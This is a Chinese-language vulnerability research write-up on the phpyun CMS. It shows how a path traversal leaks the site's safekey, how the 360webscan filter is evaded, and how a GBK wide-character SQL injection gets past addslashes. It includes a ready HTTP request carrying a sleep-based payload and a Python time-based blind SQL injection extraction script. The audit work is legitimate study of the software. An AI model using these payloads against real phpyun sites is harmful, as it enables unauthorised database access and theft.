PHP:5.4.5
设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786
phpyun SQL注入绕过
0x01 路由分析
01 看index
先做路由分析,上来直接看index.php文件;
它引入了global.php
,于是查看global.php
文件:
显然它定义了很多,还引入了config.php
和db.config.php
;看一下config.php
,它都是写死的数据:
安装的时候写死的文件;
再看看db_safty.php
文件,顾名思义是数据库安全的,一般是防注入的;
映入眼帘的是quotesGPC()
,看到gpc
一般就是加反斜线,转义的操作(其实不会对%
进行转义,在phpcms中就有)
这文件,前面写了一堆函数,然后有一个调用;加了反斜线之后,又对其它的参数$_POST,$COOKIE,$_GET
使用safesql
有检查:这里是一个防注入;
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
然后看看safesql
中是什么:
这里基本就是针对SQL
进行一个防注入;如果拦截下来,最后返回了一个360的界面:
是对get,post,cookie进行过滤;
02 跟路由
随便点一下注册,然后开始分析http://127.0.0.1:83/index.php?m=login&usertype=1
在代码中的流转;
还是先进入global.php
中,先进入db.safety.php
文件:
这里先定义了一堆函数,然后再对$_POST,$GET,$COOKIE
挨个进行过滤;
在db.safety.php
文件中,需要注意到,对$_POST
的safesql
检查是需要进过一个SQL判断的,而其他的不需要进行这判断;
然后往下走,回到global.php
接下来这里需要注意到引入了smarty.class.php
文件
smarty
是PHP的模板引擎,这里记一下,是有用的;
然后这里还有一个防注入:
是360的防注入;
然后才进行数据库对象的创建;
再跟进数据库对象创建的构造函数和init()函数看了之后,这里的global.php
就可以过了;然后继续看index.php
;
此处获取传入的url
,不过这个$var
是空的;
接着F8向下走:
在这里,看到将model
设置为login
,由于没有传入action
,也就是变量c
,所以被赋值为index
;
然后再判断这个是不是个文件或者说文件是不是存在,是文件就在下面的require
引入一个积累然后引入对应的model.class.文件
;
并且继续拼接控制器和动作:
并且实例化一个$conclass
对象,就是login_controller
对象,并且将$db
数据库什么的传入进去;
然后F7步入进这个对象的创建过程:
F7之后会直接步入common.php
文件的构造方法,因为login_controller
是继承了common
对象;
构造方法中基本是赋值;
在这里有一个tpl
的赋值,这个就是index.php
文件中创建的smarty
对象
然后下面有一个require
引入一个action.class.php
,引入了之后还有一个new
,所以F7步入new
看看;瞄两眼,主要是执行动作什么的,于是就不贴图了;
下面的一堆$this->yunset
F7跟进之后,看到的是$this->tp->assign
函数,作用是对模板变量进行参数绑定;
接着往下走:
这里的$model
是index
所以会走index
方法,该方法也没做什么;也是绑定了一些值,就不贴图了;
上图中,余下的两个函数也一个没有执行内容,一个进行数据库的拼接;
所以F8
接着走,就会到了index.php
中,判断了$actfunc
方法是否存在,存在即执行;
于是F7步入:
到了这里,此时代码逻辑就完成了;
03 路由总结
访问:
http://127.0.0.1:83/index.php?m=login&usertype=1
model/login.class.php
文件中的index_action()
方法;
在url中没有加入action,所以action
默认为了index
;
$_GET['m']) m = 模块文件.class.php
$model.class.php
$_GET['c']) c = action
需要注意的是:
$this->tpl
是smarty
模板对象
并且每次初始化一个$action
,都会进入common
的构造方法,因为有继承关系;
$config
是写死的配置信息,ctrl点一下就跳转过去了;
在从url
到index_action
经历了:
quoteGPC
360webscan
safesql
0x02 防注入01
01 简单分析
现在考了过safesql
防注入;
硬过是过不了的,只能考虑绕过;
前面有提到,db.safety.php
会对GET POST COOKIE
进行过滤,但是在对POST
进行过滤的时候,会经过一个判断,只有判断成功,才会对POST
进行过滤;
所以针对safesql
的过滤只能选择if(false)
不进入safesql
函数;
判断为:$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']
所以两边都需要是false
才行;
所以需要$config['sy_istemplate'] == 1
和md5(md5($config['sy_safekey']).$_GET['m']) == $_POST['safekey']
所以如何绕过safesqls
转换成了如何使得判断为false
02 第一个false
由于这是一个$config['sy_istemplate']
是写死的,需要知道写的是什么
重新调试一下:
发现配置文件写的就是1
,所以第一个就过了;
于是如何使得两个判断为false
变成了如何使得第二个判断为false
;
03 第二个false
现在需要这个判断md5(md5($config['sy_safekey']).$_GET['m']) != $_POST['safekey']
也为false
;
分析判断中的数据:
$_POST['safety'] 可控
$_GET['m'] 可控
$config['sy_safekey'] 不可控,存储在配置文件中,并且安装的时候生成的,一机一码,不可控
所以需要考虑能否窥探$config['sy_safekey']
数据;
在本地调试的时候自然是知道这个sy_safekey
是什么,但是只是针对本地,对其他机器就不一样了;
于是如何使得第二个判断为false
变成了如何窥探$config['sy_safekey'],存在哪?如何看?
;
1 查找sy_safekey
直接Find in FILE
:
发现,
在/plus/config.php
,配置文件中存取这明文信息,这个直接访问没用,因为是php
所以被解析了;
在template/admin/admin_web_config.htm
中有key(sy_safekey简称,后文同次称呼)
,并且是htm
文件,考虑能不能直接访问:
能够直接访问,但是不能看到具体数据,没有进行数据绑定;这个是一个模板,像是管理员从后台看模板的;
在install/index.php
中得到一个信息:
key
的长度是8
;
有如下方法得到key
:
1. 爆破
因为GET['m']和POST['safekey']是可控的,而且是进行的md5运算,爆破10**8次,就能获得key
2. 任意文件读取
读取/plus/config.php信息,然后将key单独拿出来
3. 日志泄露
考虑日志泄露,并且日志中有将key写入的操作
4. 源码备份泄露
考虑源码备份,git的svn
5. 模板缓存泄露
考虑模板渲染的泄露,知道一个泄露的模板,模板中有key,然后将模板渲染
其它的文件中,基本是直接用的,不能够查看数据;
找完key
的使用之后,考虑模板缓存泄露;
2 模板缓存泄露
已经知道template/admin/admin_web_config.htm
能够直接访问,并且是一个模板;所以考虑让这个模板被渲染,如果能够渲染就知道了key
的值;
由于key
只是$config
数组中的一个键,所以需要找到$config
数组在哪里被引入模板的;
所以此时需要引入phpyun
使用的模板引擎smarty
了;
smarty 详细使用教程_小菜鸟正洋洋的博客-CSDN博客
由于只需要知道模板是怎么用的,不用关心怎么提高性能什么,所以关注核心如下:
templates 存放模板⽂件
templates_c 存放编译后的⽂件templates
$smarty = new smarty(); 初始化⼀个smarty对象
$smarty->assign("Address",$address); ⽤来赋值到模板中。可以指定⼀对 名称/数值,
也可以指定包含 名称/数值 的联合数组。
$smarty->display('模板⽂件',缓存ID) ⽣成缓存,展示页面
现在在代码中,查看和samrty
有关的:
在global.php
中进行了创建,然后进行了定义,get_install()
是检查有没有安装。
这里就new
了一个smarty
对象,所以就看看那里有smarty
的调用;
有非常多的调用,调用哪些呢?
smarty的方法调用不关心,关注的是,smarty本身被引入到了哪里去了;
其实直接看最开始的那个index.php
,这就是smarty
对象;
然后在注册界面,开始重新调试:
F7步入构造方法,发现,这里进入common
的构造方法,因为common
是其父类;
需要注意:global $config;
这里声明了一个全局变量;ctrl 点一下
过去,发现就是/plus/config.php
这配置文件;
将$config
赋值赋给了$this->config
;
然后看到这里有绑定smarty
:
接着往下走到这里:
然后F7步入$this->yunset
的实现:
yunset
的功能是,对模板对象进行参数绑定;
所以这里就将,$this->config
绑定到了smarty
模板中;所以这里已将/plus/config.php
中的$config
已经绑定到了smarty
模板对象,也就是将PHP层的$config变量渲染到了smarty
层,所以说,所有的smarty
模板对象现在都被这个变量渲染好了(绑定好了)(因为这是在common中绑定的,并且common是所以控制器的基类),然后需要找一个模板恩建admin_web_config.htm
会展示变量;
$smarty = new smarty(); web系统完成;
$smarty->assign("Address",$address); common.php⾥⾯完成,相当于所有模板对象都完成变量绑定的操作;
$smarty->display('模板⽂件',缓存ID) 模板⽂件admin_web_config.htm找到了,相当于只要能想办法触发$smarty->display函数,并且可以指定模板⽂件为admin_web_config.htm,就能看到该变量内容,这个函数相当于就是展示出来;
写不明白,贴个图:
所以现在的问题变成了:想办法,找一个地方展示指定的模板。
3 查找利用
所以现在开始查找有$smarty->display()
的地方:
find in file
查找->display(
发现:
然后看到能用的其实就两个;因为$this->tp->display('member/msg.htm');
这种已经写死了,另外的是注释了用不了;
所以现在看一下哪里调用了yuntpl
和yun_tpl
两个函数,并且传参是可控的地方:
然后ctrl 点一下
看哪里调用yuntpl()
函数:
点了一些,有很多都是固定参数的没法利用,有的是在其他的文件夹开头的model下,并且还需要找能够控制变量的:
基本是点能够控制参数的进去看看,再哪些地方调用了调用yuntpl
函数的函数;
例如这些是不行的:
随后找到了能利用的:
点进去进行查看:发现利用点很近:
所以现在考虑如何使得流程走到这里:
于是尝试访问127.0.0.1:83/company/
;
进入了访问流程;
在index_action()
开始调试,
随后在这里有一个SQL查询,这里是查查询了企业有哪些,所以需要先注册一个企业再加一个参数id=1
;不然会报错;
访问:http://127.0.0.1:83/company/?id=1
,再调试:
此时,就过了sql查询:
接着再调试:
随后发现:
- 需要用
tplurl
绑定一堆参数- 如果不传值,
tplurl
有固定值tp
没有做什么过滤,但是有一个seo()
函数不知道干啥- 拼接的目的地址:
company/default/index
这里大胆尝试目录穿越穿越到模板文件template/admin/admin_web_config.htm
;
于是构造url:http://127.0.0.1:83/company/?id=1&tp=../../../template/admin/admin_web_config
;
随后成功访问,同时成功获取到了key
:
key:26699218
;
此时,只需要md5两下就行
题外话
其实调试过程中挺离谱的,因为开始进入company
是看到了可控参数距离利用点很近;所以感觉能利用,前面的步骤虽然很多,但是看到传值取值利用很近,所以忽略了前面的步骤;
于是什么值都没传递,直接访问url/company/
,一直报没得企业,慢慢跟,发现SQL没得结果,然后注册了一个企业,加了id=1
过了;
过了之后就一路F8
走到了$_GET['tp']
附近,由于没传值,随后看到默认值一个是default
一个是index
,显然default
在进行拼接的时候在中间,并且还有一定的参数绑定,怕出事不敢动,所以传递$_GET['tp']
是能够接受的;
但是有一个$this->seo("company_".$tp);
总觉得很难受,怕过不了;
但是都已经只有一点了,所以打算传递$_GET['tp']
过去看看会被搞成什么样;
于是开始构造目录穿越
,http://127.0.0.1:83/company/?id=1&tp=../../../template/admin/admin_web_config
(其实开始构造只放了两个../
进去)进去调试,发现居然能够正常的拼接,并且返回渲染页面;就没管了;
在写笔记的时候,开始细看调试过程,发现不止一个地方使用了$_GET['tp']
,并且不止一个地方把由$_GET['tp']
作为参数传值后得到的变量用作变量绑定和信息;
现在进去看看了点,$pageurl
是拼接的字符串,$msglist=$this->get_page
作用大概是将pageurl
页面信息绑定给了common的tpl
,返回值和$_GET['page']
有关系(但是没传值,是默认值,一般会正常进行)和pageurl
并没有关系;
于是在index.class.php
中对$msglist
的所有传值绑定算是正常的默认操作;所以就能正常的执行到利用点;
04 防注入绕过验证
(可以等第二个防注入完了再看)
我们知道,在绕过防注入的时候,用到了id=1
,所以此刻考虑依旧在company
进行验证:
绕过safesql
这个,需要使得如下判断为false
$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']
已知 $_GET['m']) 是 模块文件的名字 此处访问的是 index.class.php
;也就是index;
于是:
26699218
f8f3e2327e3721519c1c299361f80358
f8f3e2327e3721519c1c299361f80358index
68e0d02899e683d58a1cb870bb41715c
如此传递:
此时,过了一层防注入
0x03 防注入02
01 绕过防注入
if(is_file(LIB_PATH.'webscan360/360safe/360webscan.php')){
require_once(LIB_PATH.'webscan360/360safe/360webscan.php');
}
目前先随便简单过一下,发现文件中是定义了一堆函数和几个if
;所以就还是false
就能绕过;
需要关注这一段:
if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {
if ($webscan_get) {
foreach($_GET as $key=>$value) {
webscan_StopAttack($key,$value,$getfilter,"GET");
}
}
if ($webscan_post) {
foreach($_POST as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"POST");
}
}
if ($webscan_cookie) {
foreach($_COOKIE as $key=>$value) {
webscan_StopAttack($key,$value,$cookiefilter,"COOKIE");
}
}
if ($webscan_referre) {
foreach($webscan_referer as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"REFERRER");
}
}
}
因为,这一段是一定会走的,于是想办法构造false
;
$webscan_switch
已经写死为1
了;传入的参数也是有了定义的,有正则,有白名单;
然后在看函数:
先是获取了url_path
和url_var
,随后就是正则检测;
进行调试127.0.0.1:83
看看是什么:
看到红圈里:它这里检测了传入的参数是不是空;
所以考虑传递一点参数进去;
由于不知道传递什么参数,并且为了免得冲突,所以传递up=yu
参数;
继续调试,看到这里:
其实就是如果是index.php
相当于明示了要传递一个admin_dir=admin
;
把那个$value
就是把白名单展开;
然后成功返回false
;
此时绕过第二个反注入;
02 防注入绕过验证
直接在之前的验证包中添加:admin_dir=admin
;
显然也直接绕过了
0x04 防注入 03
01 引言
现在开始绕过最后一个防注入quoteGPC
;
前两个是说怎么绕,这个是程序员失误造成的绕过;
extractvalue(1, concat(0x5c, (select version())));
在过quoteGPC
前,数据如上;
过quoteGPC
之后数据如下;
被转义了;随后又被拦截了;
经过调试之后发现翻了个错误:本来get的就无法绕过,才有了防注入01使post不被检测;所以最后还是得在post数据中进行注入;
于是在登录和注册的地方抓包;
26699218
f8f3e2327e3721519c1c299361f80358
f8f3e2327e3721519c1c299361f80358login
3b9305964c03c6d6430933448f8ada4b
然后利用登录吧,看到能够传递一个参数过来:
调试能够接受到,也能看到有\
的SQL语句;
放到数据库中跑一下,看到能够成功,看来语句被加\
前是没得问题的;
现在开始绕过;
02 宽字符注入
看回quotesGPS
函数:
function quotesGPC() {
if(!get_magic_quotes_gpc()){
$_POST = array_map("addSlash", $_POST);
$_GET = array_map("addSlash", $_GET);
$_COOKIE = array_map("addSlash", $_COOKIE);
}
}
function addSlash($el) {
if (is_array($el))
return array_map("addSlash", $el);
else
return addslashes($el);
}
其实就是加反斜线的操作;
从写法上来看,其实是无法绕过的;
在很多文件下看到有一句:$username=iconv("utf-8","gbk",$_POST['username']);
;
这里先将传入的$_POST['username']
进行了一个转化,将utf-8
转化为了gbk
的编码;
一般看到gbk
就想到%df
,于是此处用%df
进行注入:
虽然能够传入%df
但是实际上icvon
解析不了不处理,所以username
直接没了;
但是,如果直接使用$username=$_POST['username']
呢?
所以添加一句进去,看看是什么情况:
依旧是传入%df
:
此时已经有了username
,接着调试,直接进SQL查询那步;
显然这里已经是能够执行一个SQL注入的,但是依旧是不成功的退出来了;
这里实际就是不能够注入而失败的;
03 数据库连接
要了解原因,就需要知道这里mysql
是怎么连接的;
数据库的连接决定了宽字节连接能不能用:
跟进构造方法:
然后看到connect()
方法:
看到红圈的两句话:
@mysql_query("SET NAMES $this->coding"); #冗余了
@mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $this->conn);
那么将会用binary
解析客户端发送到mysql的数据;
如果将字符集设置为gbk
,那么mysql就会将发送过来的字节流按照字符集(gbk
)进行转换,那么:
%df%5c%27就会变成
運'
这样就会造成注⼊,因为反斜线被吞掉了
但是⼀旦设置成了character_set_client=binary那么mysql不会尝试去理解字节流,⽽是把 每个字节都当做普通的字节来处理(存储、执⾏)
%df%5c%27就会变成
\xdf\'
这样就没有注⼊了,因为反斜线依然⽣效,可以简单的把字符集设置为binary理解为字 符集就是ascii;
这样其实就已经安全了;
但是程序员做了个操作:
$username=iconv("utf-8","gbk",$_POST['username']);
将发过来字节流先⽤utf-8的⽅式读取,然后转化为gbk的形式,并放在$username中 (注意字节内容已经被改变了)
输入 錦'
gpc --> 錦\'
錦的utf8编码为0xe98ca6 gbk编码为0xe55c
icvon的时候,将0xe98ca6编程了0xe55c
所以
iconv("utf-8","gbk",$_POST['username']);
==> iconv("utf-8","gbk","錦\'");
==> e5 5c \ ' == e5 5c 5c ' (字节流中)
==> e5 \ \ '
这样的话,我们就把⼀个錦拆成了0xe5这个字符跟⼀个反斜线\,那么这个反斜线不就转 义了后⾯的反斜线,于是乎单引号就逃逸出来了,这⾥就能注⼊了,更多的描述可以看的[p神⽂档](浅析白盒审计中的字符编码及SQL注入 | 离别歌 (leavesongs.com))
所以最后用錦'
进行逃逸;
数据包:
POST /index.php?m=login&c=loginsave&admin_dir=admin HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 132
Origin: http://127.0.0.1:83
Connection: close
Referer: http://127.0.0.1:83/index.php?m=login&usertype=1
Cookie: bRUpr_admin_username=c814prLhCWuscV8g-sdvMamCI5_4kSei_L_Ph3Ih4afAvg; bRUpr_siteid=8b21PxatYSsKgO6iiwz3HVPKQkvpBZaxDIi8VLiE; bRUpr_userid=a5ebNXWdp59YuCDAugzFLZ5j-3xbnLzLGYFfarvT; bRUpr_admin_email=7e4be7rkaMMcKFu-L5_bzBlhBa2ns2zFPi1tELplN6MOPI9y7porh6V7MBQb; bRUpr_sys_lang=d508ipcwPJ_tJeui0KvgDGMkp8GokEJ3IKaIeRNLDbe7qQ; PSkUf_siteid=7c39Kts0vcGVn0ZlrjsfCGDLuLG55Wfx7CihutHL; PSkUf_admin_email=09b4dBDgJtO3qrVPG0HMSZEYXK36BbkogqCme-OQFajo6ucUoI2ifNxffZY; PSkUf_sys_lang=1386gzc2DWMpRc1TJQOqIu-T2stwuiCcrd8UcQv-C06k9A; qRnyD_siteid=fc95sBnjTqB6dNCvOctqRtUCS6b8IHBtjAkqmwhs; qRnyD_admin_email=26cbPwxDuLATiIitcCDtmuZCnUDMugD2tpOWE_xrjTvWWKtcRNJJ; qRnyD_sys_lang=d232WG-x8Cva2mYD-z-cGLSPMn9wrtrSNa5-aGxq7AuE6A; PHPSESSID=gf9ala6skl0m2fpgm0n0ie8re5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=username錦'+or+sleep(5)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b
然后用sqlmap跑就行,数据包中用的是sleep()
,因为这报错确实没报出来;
害,写笔记的时候没跑出来,截个执行图吧;
再留个之前老代码:
import requests
url = "http://127.0.0.1:83/index.php?m=login&c=loginsave&admin_dir=admin"
headers = {
"Host":"127.0.0.1:83",
"User-Agent":"Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/110.0",
"Accept":"*/*",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip,deflate",
"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8",
"X-Requested-With":"XMLHttpRequest",
"Content-Length":"132",
"Origin":"http://127.0.0.1:83",
"Connection":"close",
"Referer":"http://127.0.0.1:83/index.php?m=login&usertype=1",
"Cookie":"bRUpr_admin_username=c814prLhCWuscV8g-sdvMamCI5_4kSei_L_Ph3Ih4afAvg;bRUpr_siteid=8b21PxatYSsKgO6iiwz3HVPKQkvpBZaxDIi8VLiE;bRUpr_userid=a5ebNXWdp59YuCDAugzFLZ5j-3xbnLzLGYFfarvT;bRUpr_admin_email=7e4be7rkaMMcKFu-L5_bzBlhBa2ns2zFPi1tELplN6MOPI9y7porh6V7MBQb;bRUpr_sys_lang=d508ipcwPJ_tJeui0KvgDGMkp8GokEJ3IKaIeRNLDbe7qQ;PSkUf_siteid=7c39Kts0vcGVn0ZlrjsfCGDLuLG55Wfx7CihutHL;PSkUf_admin_email=09b4dBDgJtO3qrVPG0HMSZEYXK36BbkogqCme-OQFajo6ucUoI2ifNxffZY;PSkUf_sys_lang=1386gzc2DWMpRc1TJQOqIu-T2stwuiCcrd8UcQv-C06k9A;qRnyD_siteid=fc95sBnjTqB6dNCvOctqRtUCS6b8IHBtjAkqmwhs;qRnyD_admin_email=26cbPwxDuLATiIitcCDtmuZCnUDMugD2tpOWE_xrjTvWWKtcRNJJ;qRnyD_sys_lang=d232WG-x8Cva2mYD-z-cGLSPMn9wrtrSNa5-aGxq7AuE6A;PHPSESSID=gf9ala6skl0m2fpgm0n0ie8re5",
"Sec-Fetch-Dest":"empty",
"Sec-Fetch-Mode":"cors",
"Sec-Fetch-Site":"same-origin"
}
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "select database()"
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
# payload = "select flaga from ctfshow_flagx"
# data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
data = f"username=username錦'+or+if(select ascii(substr(({payload}),{i},1))>{mid},sleep(5),1)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b"
data = f"username=username錦'+union+select+1,2,3,4,5,6,7,8,9,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b".encode()
try:
print(data)
r = requests.post(url=url,data=data,headers=headers,timeout=2)
tail = mid
print(r.text)
except:
print("??")
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(head)
print(result)
在编译器调试的时候,看到的还是錦\
,但是在数据库的理解上已经是binary
了;
这个居然需要加一个encode()
才能传递;